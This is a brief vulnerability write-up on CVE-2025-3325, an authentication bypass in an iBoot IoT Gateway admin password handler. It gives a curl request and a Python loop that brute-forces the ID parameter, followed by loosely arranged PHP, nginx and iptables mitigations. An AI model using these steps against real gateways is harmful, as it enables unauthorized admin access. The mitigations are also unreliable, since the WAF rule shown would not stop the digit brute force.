How CVE-2025-3325 Works
The vulnerability in iBoot IoT Gateway 1.1.3 stems from improper access controls in the Admin Password Handler component (/core/admin/pwd). Attackers can manipulate the `ID` parameter remotely to bypass authentication checks, potentially gaining unauthorized access to administrative functions. The flaw occurs due to insufficient validation of user-supplied input, allowing crafted requests to escalate privileges without proper credentials.

What Undercode Say:
Exploitation
1. Craft Malicious Request:
curl -X POST "http://<TARGET_IP>/core/admin/pwd" -d "ID=malicious_value"
2. Brute-Force ID Parameter:
import requests
for id in range(1,100):
r = requests.post(f"http://<TARGET_IP>/core/admin/pwd", data={"ID": id})
if "Admin Panel" in r.text:
print(f"Valid ID: {id}")

if (!is_authorized($_POST['ID'])) {
die("Access Denied");
}
3. WAF Rules:
location /core/admin/pwd {
if ($args ~ "ID=[^0-9]") { return 403; }
}
4. Network Controls:
iptables -A INPUT -p tcp --dport 80 -m string --string "ID=" --algo bm -j DROP
Analytics
- Attack Surface: Remote, web-based.
- Exploitability: Low complexity, no privileges required.
- Impact: Unauthorized admin access.
